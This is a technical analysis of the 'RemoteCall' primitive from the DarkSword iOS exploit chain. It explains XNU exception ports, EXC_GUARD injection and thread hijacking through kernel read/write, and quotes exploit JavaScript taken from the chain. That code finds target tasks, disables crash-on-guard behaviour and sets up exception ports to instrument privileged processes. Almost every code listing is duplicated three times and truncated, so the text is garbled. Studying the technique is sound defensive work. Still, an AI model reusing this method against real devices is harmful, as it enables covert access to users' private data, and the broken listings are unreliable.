Introduction
Author: Tom Maraval
DarkSword is an iOS full chain exploit that has been discovered by GITG, Lookout and iVerify.
In this article, we will detail one of its primitives. This primitive allows remote calling of functions (e.g. dydl shared cache functions) into a remote process. This primitive is used to instrument privileged processes and access private data.
We believe this primitive is used because, despite being a full chain exploit, Darksword cannot obtain full r/w into kernel memory (read only zone), and cannot defeat code signature (AMFI), thus cannot inject custom code into processes or cannot create a full jailbreak.
RemoteCall.js
This module has been extracted from the pe_main.js file belonging to the DarkSword chain. This module is the implementation of, as its name suggests, the remote call primitive.
Before diving into the remote call implementation, we will provide some key concepts. If you are already familiar with XNU Task, Thread, Exception port and exceptions, feel free to jump directly to the DarkSword's implementation analysis.
Note on PAC
For the sake of brevity, this article will not discuss the PAC bypass used by Darksword.
Key concepts
In this part, we will provide a high-level explanation of the techniques used by the primitive.
Prerequisites :
The global idea behind this technique is :
The main process hijacks an existing thread in the target.
It injects an exception port into the target thread.
Using the injected exception port, it instruments the hijacked thread.
In a jailbroken environment (or in a fully-controlled environment e.g. macOS), this could be done using the Mach API (e.g. by obtaining a remote task port with task_for_pid, then by using create_thread to create a thread in a remote task, and thread_set_exception_port to set the exception port).
In DarkSword, everything is done in JavaScript, after a sandbox escape, by directly manipulating kernel structure using the kernel r/w primitive.
Exception port
One concept discussed previously is the exception port. In Darwin, exception ports are mach ports that are used to handle exceptions. When an exception occurs, a message is sent to the defined exception ports.
From userland it is possible to set exception ports using task_set_exception_ports or thread_set_exception_ports but this requires special privileges.
Exceptions type
Several exception types can be generated by the system. Here are some, as defined in XNU.
osfmk/mach/exception_types.h
#define EXC_BAD_ACCESS 1
#define EXC_BAD_INSTRUCTION 2
...
#define EXC_GUARD 12
#define EXC_BAD_ACCESS 1
#define EXC_BAD_INSTRUCTION 2
...
#define EXC_GUARD 12
#define EXC_BAD_ACCESS 1
#define EXC_BAD_INSTRUCTION 2
...
#define EXC_GUARD 12
Exception ports levels in XNU
Exception ports can be defined at three different levels :
thread level
task level
host level
If no exception ports are defined at thread level, the kernel will try the exception ports defined at task level. If no exception ports exist at task level, the exception is sent to the host exception port.
The code from exception_triage_thread is pretty explicit on this.
osfmk/kern/exception.c
kern_return_t
exception_triage_thread(
exception_type_t exception,
mach_exception_data_t code,
mach_msg_type_number_t codeCnt,
thread_t thread)
{
task_t task;
thread_ro_t tro;
host_priv_t host_priv;
lck_mtx_t *mutex;
struct exception_action *actions;
kern_return_t kr = KERN_FAILURE;
...
mutex = &thread->mutex;
tro = get_thread_ro(thread);
actions = tro->tro_exc_actions;
if (KERN_SUCCESS == check_exc_receiver_dependency(exception, actions, mutex)) {
kr = exception_deliver(thread, exception, code, codeCnt, actions, mutex);
if (kr == KERN_SUCCESS || kr == MACH_RCV_PORT_DIED) {
goto out;
}
}
task = tro->tro_task;
mutex = &task->itk_lock_data;
actions = task->exc_actions;
if (KERN_SUCCESS == check_exc_receiver_dependency(exception, actions, mutex)) {
kr = exception_deliver(thread, exception, code, codeCnt, actions, mutex);
if (kr == KERN_SUCCESS || kr == MACH_RCV_PORT_DIED) {
goto out;
}
}
host_priv = host_priv_self();
mutex = &host_priv->lock;
actions = host_priv->exc_actions;
if (KERN_SUCCESS == check_exc_receiver_dependency(exception, actions, mutex)) {
kr = exception_deliver(thread, exception, code, codeCnt, actions, mutex);
if (kr == KERN_SUCCESS || kr == MACH_RCV_PORT_DIED) {
goto out
kern_return_t
exception_triage_thread(
exception_type_t exception,
mach_exception_data_t code,
mach_msg_type_number_t codeCnt,
thread_t thread)
{
task_t task;
thread_ro_t tro;
host_priv_t host_priv;
lck_mtx_t *mutex;
struct exception_action *actions;
kern_return_t kr = KERN_FAILURE;
...
mutex = &thread->mutex;
tro = get_thread_ro(thread);
actions = tro->tro_exc_actions;
if (KERN_SUCCESS == check_exc_receiver_dependency(exception, actions, mutex)) {
kr = exception_deliver(thread, exception, code, codeCnt, actions, mutex);
if (kr == KERN_SUCCESS || kr == MACH_RCV_PORT_DIED) {
goto out;
}
}
task = tro->tro_task;
mutex = &task->itk_lock_data;
actions = task->exc_actions;
if (KERN_SUCCESS == check_exc_receiver_dependency(exception, actions, mutex)) {
kr = exception_deliver(thread, exception, code, codeCnt, actions, mutex);
if (kr == KERN_SUCCESS || kr == MACH_RCV_PORT_DIED) {
goto out;
}
}
host_priv = host_priv_self();
mutex = &host_priv->lock;
actions = host_priv->exc_actions;
if (KERN_SUCCESS == check_exc_receiver_dependency(exception, actions, mutex)) {
kr = exception_deliver(thread, exception, code, codeCnt, actions, mutex);
if (kr == KERN_SUCCESS || kr == MACH_RCV_PORT_DIED) {
goto out
kern_return_t
exception_triage_thread(
exception_type_t exception,
mach_exception_data_t code,
mach_msg_type_number_t codeCnt,
thread_t thread)
{
task_t task;
thread_ro_t tro;
host_priv_t host_priv;
lck_mtx_t *mutex;
struct exception_action *actions;
kern_return_t kr = KERN_FAILURE;
...
mutex = &thread->mutex;
tro = get_thread_ro(thread);
actions = tro->tro_exc_actions;
if (KERN_SUCCESS == check_exc_receiver_dependency(exception, actions, mutex)) {
kr = exception_deliver(thread, exception, code, codeCnt, actions, mutex);
if (kr == KERN_SUCCESS || kr == MACH_RCV_PORT_DIED) {
goto out;
}
}
task = tro->tro_task;
mutex = &task->itk_lock_data;
actions = task->exc_actions;
if (KERN_SUCCESS == check_exc_receiver_dependency(exception, actions, mutex)) {
kr = exception_deliver(thread, exception, code, codeCnt, actions, mutex);
if (kr == KERN_SUCCESS || kr == MACH_RCV_PORT_DIED) {
goto out;
}
}
host_priv = host_priv_self();
mutex = &host_priv->lock;
actions = host_priv->exc_actions;
if (KERN_SUCCESS == check_exc_receiver_dependency(exception, actions, mutex)) {
kr = exception_deliver(thread, exception, code, codeCnt, actions, mutex);
if (kr == KERN_SUCCESS || kr == MACH_RCV_PORT_DIED) {
goto out
Exception ports representation in XNU
The exception ports are defined by an array of struct exception_action, e.g. at task level:
osfmk/kern/task.h
struct task {
...
struct exception_action exc_actions[EXC_TYPES_COUNT
struct task {
...
struct exception_action exc_actions[EXC_TYPES_COUNT
struct task {
...
struct exception_action exc_actions[EXC_TYPES_COUNT
The exception ports are stored as an array of size EXC_TYPE_COUNT. The array is accessed by index of exception type, e.g. task->exc_action[EXC_BAD_ACCESS] corresponds to the task's exception port for handling EXC_BAD_ACCESS.
osfmk/kern/exception.h
struct exception_action {
struct ipc_port * XNU_PTRAUTH_SIGNED_PTR("exception_action.port") port;
thread_state_flavor_t flavor;
exception_behavior_t behavior;
boolean_t privileged;
boolean_t hardened;
struct label *label;
struct exception_action {
struct ipc_port * XNU_PTRAUTH_SIGNED_PTR("exception_action.port") port;
thread_state_flavor_t flavor;
exception_behavior_t behavior;
boolean_t privileged;
boolean_t hardened;
struct label *label;
struct exception_action {
struct ipc_port * XNU_PTRAUTH_SIGNED_PTR("exception_action.port") port;
thread_state_flavor_t flavor;
exception_behavior_t behavior;
boolean_t privileged;
boolean_t hardened;
struct label *label;
Exception message format (behavior and flavor)
The message format is defined by the flavor and behavior argument specified when calling *_set_exception_port. The comments in the XNU code are pretty explicit.
osfmk/mach/exception_types.h
#define EXCEPTION_DEFAULT 1
#define EXCEPTION_STATE 2
#define EXCEPTION_STATE_IDENTITY 3
#define EXCEPTION_IDENTITY_PROTECTED 4
#define EXCEPTION_STATE_IDENTITY_PROTECTED 5
#define EXCEPTION_DEFAULT 1
#define EXCEPTION_STATE 2
#define EXCEPTION_STATE_IDENTITY 3
#define EXCEPTION_IDENTITY_PROTECTED 4
#define EXCEPTION_STATE_IDENTITY_PROTECTED 5
#define EXCEPTION_DEFAULT 1
#define EXCEPTION_STATE 2
#define EXCEPTION_STATE_IDENTITY 3
#define EXCEPTION_IDENTITY_PROTECTED 4
#define EXCEPTION_STATE_IDENTITY_PROTECTED 5
In our case, the EXCEPTION_STATE behavior is interesting because it allows us to retrieve the thread state. When behavior is set to EXCEPTION_STATE, the flavor is used to specify the flavor for the received thread state format, e.g. ARM_THREAD_STATE64 because we target aarch64 iPhone.
Exception EXC_GUARD
Another notion we should cover before diving in is the EXC_GUARD exception. This exception will be injected at thread level to generate the first exception that will be caught before further instrumentation by the attacking process.
Basic EXC_GUARD explanation
EXC_GUARD is used to protect various resources in the kernel:
vnode
mach port
file descriptor
virtual memory
system call trap
osfmk/kern/exc_guard.h
#define GUARD_TYPE_NONE 0x0
#define GUARD_TYPE_MACH_PORT 0x1
#define GUARD_TYPE_FD 0x2
#define GUARD_TYPE_USER 0x3
#define GUARD_TYPE_VN 0x4
#define GUARD_TYPE_VIRT_MEMORY 0x5
#define GUARD_TYPE_REJECTED_SC 0x6
#define GUARD_TYPE_NONE 0x0
#define GUARD_TYPE_MACH_PORT 0x1
#define GUARD_TYPE_FD 0x2
#define GUARD_TYPE_USER 0x3
#define GUARD_TYPE_VN 0x4
#define GUARD_TYPE_VIRT_MEMORY 0x5
#define GUARD_TYPE_REJECTED_SC 0x6
#define GUARD_TYPE_NONE 0x0
#define GUARD_TYPE_MACH_PORT 0x1
#define GUARD_TYPE_FD 0x2
#define GUARD_TYPE_USER 0x3
#define GUARD_TYPE_VN 0x4
#define GUARD_TYPE_VIRT_MEMORY 0x5
#define GUARD_TYPE_REJECTED_SC 0x6
Thread mach_exc_info
At thread level, information about the exception is stored as an union. For mach thread exception the union variant used is a struct mach_exc_info.
osfmk/kern/thread.h
struct thread {
...
union {
...
struct {
int os_reason;
exception_type_t exception_type;
mach_exception_code_t code;
mach_exception_subcode_t subcode;
} mach_exc_info
struct thread {
...
union {
...
struct {
int os_reason;
exception_type_t exception_type;
mach_exception_code_t code;
mach_exception_subcode_t subcode;
} mach_exc_info
struct thread {
...
union {
...
struct {
int os_reason;
exception_type_t exception_type;
mach_exception_code_t code;
mach_exception_subcode_t subcode;
} mach_exc_info
The primitive uses its kernel primitive to set some values in this union, so the kernel will think the thread had an exception EXC_GUARD. This exception will be caught by the attacking process.
EXC_GUARD task behavior
One last thing to know about EXC_GUARD related to the primitive is that the task's behavior when handling an EXC_GUARD exception is defined in task->task_exc_guard.
osfmk/kern/task.h
struct task {
...
task_exc_guard_behavior_t task_exc_guard;struct task {
...
task_exc_guard_behavior_t task_exc_guard;struct task {
...
task_exc_guard_behavior_t task_exc_guard;
The possible behaviors are defined here :
osfmk/mach/task_info.h
#define TASK_EXC_GUARD_NONE 0x00
#define TASK_EXC_GUARD_VM_DELIVER 0x01
#define TASK_EXC_GUARD_VM_ONCE 0x02
#define TASK_EXC_GUARD_VM_CORPSE 0x04
#define TASK_EXC_GUARD_VM_FATAL 0x08
#define TASK_EXC_GUARD_VM_ALL 0x0f
#define TASK_EXC_GUARD_MP_DELIVER 0x10
#define TASK_EXC_GUARD_MP_ONCE 0x20
#define TASK_EXC_GUARD_MP_CORPSE 0x40
#define TASK_EXC_GUARD_MP_FATAL 0x80
#define TASK_EXC_GUARD_MP_ALL 0xf0
#define TASK_EXC_GUARD_ALL 0xff
#define TASK_EXC_GUARD_NONE 0x00
#define TASK_EXC_GUARD_VM_DELIVER 0x01
#define TASK_EXC_GUARD_VM_ONCE 0x02
#define TASK_EXC_GUARD_VM_CORPSE 0x04
#define TASK_EXC_GUARD_VM_FATAL 0x08
#define TASK_EXC_GUARD_VM_ALL 0x0f
#define TASK_EXC_GUARD_MP_DELIVER 0x10
#define TASK_EXC_GUARD_MP_ONCE 0x20
#define TASK_EXC_GUARD_MP_CORPSE 0x40
#define TASK_EXC_GUARD_MP_FATAL 0x80
#define TASK_EXC_GUARD_MP_ALL 0xf0
#define TASK_EXC_GUARD_ALL 0xff
#define TASK_EXC_GUARD_NONE 0x00
#define TASK_EXC_GUARD_VM_DELIVER 0x01
#define TASK_EXC_GUARD_VM_ONCE 0x02
#define TASK_EXC_GUARD_VM_CORPSE 0x04
#define TASK_EXC_GUARD_VM_FATAL 0x08
#define TASK_EXC_GUARD_VM_ALL 0x0f
#define TASK_EXC_GUARD_MP_DELIVER 0x10
#define TASK_EXC_GUARD_MP_ONCE 0x20
#define TASK_EXC_GUARD_MP_CORPSE 0x40
#define TASK_EXC_GUARD_MP_FATAL 0x80
#define TASK_EXC_GUARD_MP_ALL 0xf0
#define TASK_EXC_GUARD_ALL 0xff
By default, third party applications have TASK_EXC_GUARD_NONE as task->exc_guard_behavior.
First-party platform binaries have TASK_EXC_GUARD_MP_FATAL | TASK_EXC_GUARD_MP_DELIVER | TASK_EXC_GUARD_VM_FATAL | TASK_EXC_GUARD_VM_DELIVER:
If TASK_EXC_GUARD_MP_FATAL is set it indicates that the task needs to be killed without a crash report (No corpse created).
If TASK_EXC_GUARD_MP_CORPSE is set, it indicates that a corpse should be created.
For the EXC_GUARD injection to work without crashing the process, it is required to alter the value of task->exc_guard_behavior, to unset TASK_EXC_GUARD_MP_CORPSE and TASK_EXC_GUARD_MP_FATAL.
Hijacking existing thread
Now let's quickly explain how it is possible to hijack a thread using a kernel r/w primitive.
Accessing remote threads list
First, we need to retrieve the `struct proc` address corresponding to the target process.
One technique would be to:
Read allproc (global variable pointing to the list of processes)
Iterate over proc structure linked list until proc->p_name corresponds to target process name.
When the address of the target struct proc has been found, we can retrieve the corresponding task address. This is done by accessing the proc readonly structure by reading proc->p_proc_ro. With the proc_ro address, it is possible to access the task by using proc_ro->pr_task.
Using struct task, we can now iterate over threads using the doubly linked list.
osfmk/kern/task.h
struct task {
...
queue_head_t threads
struct task {
...
queue_head_t threads
struct task {
...
queue_head_t threads
Injecting exception port into the thread
Now that we have the target thread address, it is time to inject an exception port into it.
It is possible to do this by abusing the kernel function thread_set_exception_port_internals, the thread mutex, and the kernel thread stack.
First the attacker process needs to have a dummy thread created using pthread API. The mutex on this thread will be modified (locked) using the kernel primitive in order to lock the kernel at a specific time during thread_set_exception_port_internals.
osfmk/kern/thread.h
struct thread {
...
decl_lck_mtx_data(, mutex
struct thread {
...
decl_lck_mtx_data(, mutex
struct thread {
...
decl_lck_mtx_data(, mutex
The attacker process then calls thread_set_exception_port with the dummy thread port as target.
Because the mutex is locked, the kernel thread will be blocked in thread_set_exception_ports_internal (see 1 in code listing).
osfmk/kern/ipc_tt.c
kern_return_t
thread_set_exception_ports_internal(
thread_t thread,
exception_mask_t exception_mask,
ipc_port_t new_port,
exception_behavior_t new_behavior,
thread_state_flavor_t new_flavor,
boolean_t hardened)
{
...
tro = get_thread_ro(thread);
thread_mtx_lock(thread);
...
if (tro->tro_exc_actions == NULL) {
ipc_thread_init_exc_actions(tro);
}
for (size_t i = FIRST_EXCEPTION; i < EXC_TYPES_COUNT; ++i) {
struct exception_action *action = &tro->tro_exc_actions[i];
if ((exception_mask & (1 << i))
#if CONFIG_MACF
&& mac_exc_update_action_label(action, new_label) == 0
#endif
) {
old_port[i] = action->port;
action->port = exception_port_copy_send(new_port);
action->behavior = new_behavior;
action->flavor = new_flavor;
action->privileged = privileged;
action->hardened = hardened;
} else {
old_port[i] = IP_NULL;
}
}
thread_mtx_unlock(thread
kern_return_t
thread_set_exception_ports_internal(
thread_t thread,
exception_mask_t exception_mask,
ipc_port_t new_port,
exception_behavior_t new_behavior,
thread_state_flavor_t new_flavor,
boolean_t hardened)
{
...
tro = get_thread_ro(thread);
thread_mtx_lock(thread);
...
if (tro->tro_exc_actions == NULL) {
ipc_thread_init_exc_actions(tro);
}
for (size_t i = FIRST_EXCEPTION; i < EXC_TYPES_COUNT; ++i) {
struct exception_action *action = &tro->tro_exc_actions[i];
if ((exception_mask & (1 << i))
#if CONFIG_MACF
&& mac_exc_update_action_label(action, new_label) == 0
#endif
) {
old_port[i] = action->port;
action->port = exception_port_copy_send(new_port);
action->behavior = new_behavior;
action->flavor = new_flavor;
action->privileged = privileged;
action->hardened = hardened;
} else {
old_port[i] = IP_NULL;
}
}
thread_mtx_unlock(thread
kern_return_t
thread_set_exception_ports_internal(
thread_t thread,
exception_mask_t exception_mask,
ipc_port_t new_port,
exception_behavior_t new_behavior,
thread_state_flavor_t new_flavor,
boolean_t hardened)
{
...
tro = get_thread_ro(thread);
thread_mtx_lock(thread);
...
if (tro->tro_exc_actions == NULL) {
ipc_thread_init_exc_actions(tro);
}
for (size_t i = FIRST_EXCEPTION; i < EXC_TYPES_COUNT; ++i) {
struct exception_action *action = &tro->tro_exc_actions[i];
if ((exception_mask & (1 << i))
#if CONFIG_MACF
&& mac_exc_update_action_label(action, new_label) == 0
#endif
) {
old_port[i] = action->port;
action->port = exception_port_copy_send(new_port);
action->behavior = new_behavior;
action->flavor = new_flavor;
action->privileged = privileged;
action->hardened = hardened;
} else {
old_port[i] = IP_NULL;
}
}
thread_mtx_unlock(thread
This gives time to manipulate the kernel stack and swap tro address with tro address of the target thread. After the swap, thread_set_exception_ports_internal will modify the exception_action of the target thread instead of the dummy one.
We will see how this is done by RemoteCall later.
Inject first exception
Now that the exception port is set up in the target thread, the kernel primitive can be used to inject an EXC_GUARD exception into the thread.
As explained previously, this is done by setting values directly in thread->mach_exc_info, and when the thread will wake up, the kernel will handle the EXC_GUARD exception.
Waiting for exception
It is trivial to use mach_msg with MACH_RCV_MSG to wait for the exception.
Modifying thread state
The mach_msg received will contain the thread state. When replying it is possible to specify a new thread state.
mach/arm/_structs.h
_STRUCT_ARM_THREAD_STATE64
{
__uint64_t __x[29];
__uint64_t __fp;
__uint64_t __lr;
__uint64_t __sp;
__uint64_t __pc;
__uint32_t __cpsr;
__uint32_t __pad;
_STRUCT_ARM_THREAD_STATE64
{
__uint64_t __x[29];
__uint64_t __fp;
__uint64_t __lr;
__uint64_t __sp;
__uint64_t __pc;
__uint32_t __cpsr;
__uint32_t __pad;
_STRUCT_ARM_THREAD_STATE64
{
__uint64_t __x[29];
__uint64_t __fp;
__uint64_t __lr;
__uint64_t __sp;
__uint64_t __pc;
__uint32_t __cpsr;
__uint32_t __pad;
Executing a function in the hijacked thread
By using dlsym it is possible to retrieve the function address that we want the instrumented thread to execute. On PAC enabled systems, it is required to use a PAC bypass to sign the function address pointer (PC) and the fake LR with a valid key for the target process.
Finally, it is possible to set the thread state to make the target thread call the target function.
After this (too) long introduction, let's dive into the DarkSword's implementation.
RemoteCall Analysis
The RemoteCall class is located in the file pe_main.js. This class implements the primitive described previously.
First, the module will hijack an existing thread in the target. Then, with the help of the hijacked thread, it will create a new thread in the target.
Constructor analysis
The class constructor implements the initialisation code for the primitive.
Retrieve target task kernel address
The module can either retrieve the task address from a PID or a process name.
class RemoteCall
{
...
constructor(param, migFilterBypass=null)
{
if(typeof(param) == "string")
{
console.log(TAG,`Getting task by name: ${param}`);
this.#taskAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getTaskAddrByName(param);
}
else
{
console.log(TAG,`Getting task by pid: ${param}`);
this.#taskAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getTaskAddrByPID(param);
this.#pid = param;
}class RemoteCall
{
...
constructor(param, migFilterBypass=null)
{
if(typeof(param) == "string")
{
console.log(TAG,`Getting task by name: ${param}`);
this.#taskAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getTaskAddrByName(param);
}
else
{
console.log(TAG,`Getting task by pid: ${param}`);
this.#taskAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getTaskAddrByPID(param);
this.#pid = param;
}class RemoteCall
{
...
constructor(param, migFilterBypass=null)
{
if(typeof(param) == "string")
{
console.log(TAG,`Getting task by name: ${param}`);
this.#taskAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getTaskAddrByName(param);
}
else
{
console.log(TAG,`Getting task by pid: ${param}`);
this.#taskAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getTaskAddrByPID(param);
this.#pid = param;
}
Nothing fancy here. This is done by iterating over the kernel's struct proc and looking for either the corresponding p_pid (pid) or p_comm (name).
Exceptions port
The module creates two exception ports:
The first is for the hijacked thread,
The second is for the injected thread - a new thread will be created to let the hijacked thread continue its normal life.
let firstExceptionPort = _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].createPort();
let secondExceptionPort = _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].createPort();
let firstExceptionPort = _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].createPort();
let secondExceptionPort = _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].createPort();
let firstExceptionPort = _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].createPort();
let secondExceptionPort = _Exception__WEBPACK_IMPORTED_MODULE_5__["default"].createPort();
The function createPort() is a wrapper around mach_port_construct(). The two ports are created with operation MPO_INSERT_SEND_RIGHT | MPO_PROVISIONAL_ID_PROT_OPTOUT. These are mandatory for the creation of exception ports.
class Exception
{
static ExceptionMessageSize = 0x160n;
static ExceptionReplySize = 0x13cn;
static createPort()
{
let options = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem;
const buffer = new ArrayBuffer(8);
const view = new DataView(buffer);
view.setUint32(0, MPO_INSERT_SEND_RIGHT | MPO_PROVISIONAL_ID_PROT_OPTOUT, true);
view.setUint32(4, 0, true);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(options, buffer);
let exceptionPortPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem + 0x100n;
let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_port_construct",0x203, options, 0n, exceptionPortPtr);
...
let port = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read32(exceptionPortPtr);
return BigInt(port);
}class Exception
{
static ExceptionMessageSize = 0x160n;
static ExceptionReplySize = 0x13cn;
static createPort()
{
let options = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem;
const buffer = new ArrayBuffer(8);
const view = new DataView(buffer);
view.setUint32(0, MPO_INSERT_SEND_RIGHT | MPO_PROVISIONAL_ID_PROT_OPTOUT, true);
view.setUint32(4, 0, true);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(options, buffer);
let exceptionPortPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem + 0x100n;
let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_port_construct",0x203, options, 0n, exceptionPortPtr);
...
let port = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read32(exceptionPortPtr);
return BigInt(port);
}class Exception
{
static ExceptionMessageSize = 0x160n;
static ExceptionReplySize = 0x13cn;
static createPort()
{
let options = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem;
const buffer = new ArrayBuffer(8);
const view = new DataView(buffer);
view.setUint32(0, MPO_INSERT_SEND_RIGHT | MPO_PROVISIONAL_ID_PROT_OPTOUT, true);
view.setUint32(4, 0, true);
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].write(options, buffer);
let exceptionPortPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].mem + 0x100n;
let kr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("mach_port_construct",0x203, options, 0n, exceptionPortPtr);
...
let port = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].read32(exceptionPortPtr);
return BigInt(port);
}Disable EXC_GUARD kill
As explained in the first part, the module needs to modify the EXC_GUARD behavior of the target task.
_Task__WEBPACK_IMPORTED_MODULE_3__["default"].disableExcGuardKill(this.#taskAddr
_Task__WEBPACK_IMPORTED_MODULE_3__["default"].disableExcGuardKill(this.#taskAddr
_Task__WEBPACK_IMPORTED_MODULE_3__["default"].disableExcGuardKill(this.#taskAddr
This is done by the function disableExcGuardKill. This function uses the kernel primitive to write directly into task->task_exc_behavior.
static disableExcGuardKill(taskAddr)
{
let excGuard = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().excGuard);
excGuard &= ~(TASK_EXC_GUARD_MP_CORPSE | TASK_EXC_GUARD_MP_FATAL);
excGuard |= TASK_EXC_GUARD_MP_DELIVER;
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].write32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().excGuard, excGuard);
}static disableExcGuardKill(taskAddr)
{
let excGuard = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().excGuard);
excGuard &= ~(TASK_EXC_GUARD_MP_CORPSE | TASK_EXC_GUARD_MP_FATAL);
excGuard |= TASK_EXC_GUARD_MP_DELIVER;
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].write32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().excGuard, excGuard);
}static disableExcGuardKill(taskAddr)
{
let excGuard = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().excGuard);
excGuard &= ~(TASK_EXC_GUARD_MP_CORPSE | TASK_EXC_GUARD_MP_FATAL);
excGuard |= TASK_EXC_GUARD_MP_DELIVER;
libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].write32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().excGuard, excGuard);
}Forge guard code exception
This guard code will be used later to inject an EXC_GUARD exception into the target thread.
let guardCode = 0n;
guardCode = this.#EXC_GUARD_ENCODE_TYPE(guardCode, GUARD_TYPE_MACH_PORT);
guardCode = this.#EXC_GUARD_ENCODE_FLAVOR(guardCode, kGUARD_EXC_INVALID_RIGHT);
guardCode = this.#EXC_GUARD_ENCODE_TARGET(guardCode, 0xf503n
let guardCode = 0n;
guardCode = this.#EXC_GUARD_ENCODE_TYPE(guardCode, GUARD_TYPE_MACH_PORT);
guardCode = this.#EXC_GUARD_ENCODE_FLAVOR(guardCode, kGUARD_EXC_INVALID_RIGHT);
guardCode = this.#EXC_GUARD_ENCODE_TARGET(guardCode, 0xf503n
let guardCode = 0n;
guardCode = this.#EXC_GUARD_ENCODE_TYPE(guardCode, GUARD_TYPE_MACH_PORT);
guardCode = this.#EXC_GUARD_ENCODE_FLAVOR(guardCode, kGUARD_EXC_INVALID_RIGHT);
guardCode = this.#EXC_GUARD_ENCODE_TARGET(guardCode, 0xf503n
The module simply uses some copied macros from XNU to encode a kGUARD_EXC_INVALID_RIGHT exception.
osfmk/kern/exc_guard.h
Retrieve self exception port addresses
The module retrieves the addresses of the two exceptions ports created previously.
let firstPortAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortAddr(firstExceptionPort);
let secondPortAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortAddr(secondExceptionPort);
let firstPortAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortAddr(firstExceptionPort);
let secondPortAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortAddr(secondExceptionPort);
let firstPortAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortAddr(firstExceptionPort);
let secondPortAddr = _Task__WEBPACK_IMPORTED_MODULE_3__["default"].getPortAddr(secondExceptionPort);
Creates dummy thread and retrieves its kernel address
The module creates a dummy thread using pthread_create_suspended_np. This dummy thread will be used during the exception port injection later.
let dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
... libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_create_suspended_np",dummyThread, null, dummyFunc, null);
dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(dummyThread);let dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
... libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_create_suspended_np",dummyThread, null, dummyFunc, null);
dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(dummyThread);let dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].mem;
... libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_create_suspended_np",dummyThread, null, dummyFunc, null);
dummyThread = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].read64(dummyThread);
Here, pthread_create_suspended_np allows the module to create a thread with the _PTHREAD_CREATE_SUSPENDED flag set.
https://github.com/apple/darwin-libpthread/blob/main/src/pthread.c
pthread_create_suspended_np(pthread_t *thread, const pthread_attr_t *attr,
void *(*start_routine)(void *), void *arg)
{
unsigned int flags = _PTHREAD_CREATE_SUSPENDED;
return _pthread_create(thread, attr, start_routine, arg, flags
pthread_create_suspended_np(pthread_t *thread, const pthread_attr_t *attr,
void *(*start_routine)(void *), void *arg)
{
unsigned int flags = _PTHREAD_CREATE_SUSPENDED;
return _pthread_create(thread, attr, start_routine, arg, flags
pthread_create_suspended_np(pthread_t *thread, const pthread_attr_t *attr,
void *(*start_routine)(void *), void *arg)
{
unsigned int flags = _PTHREAD_CREATE_SUSPENDED;
return _pthread_create(thread, attr, start_routine, arg, flags
Then it retrieves the mach port corresponding to the new thread using pthread_mach_thread_np :
let dummyThreadMach = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_mach_thread_np",dummyThread));let dummyThreadMach = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_mach_thread_np",dummyThread));let dummyThreadMach = BigInt(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_1__["default"].callSymbol("pthread_mach_thread_np",dummyThread));
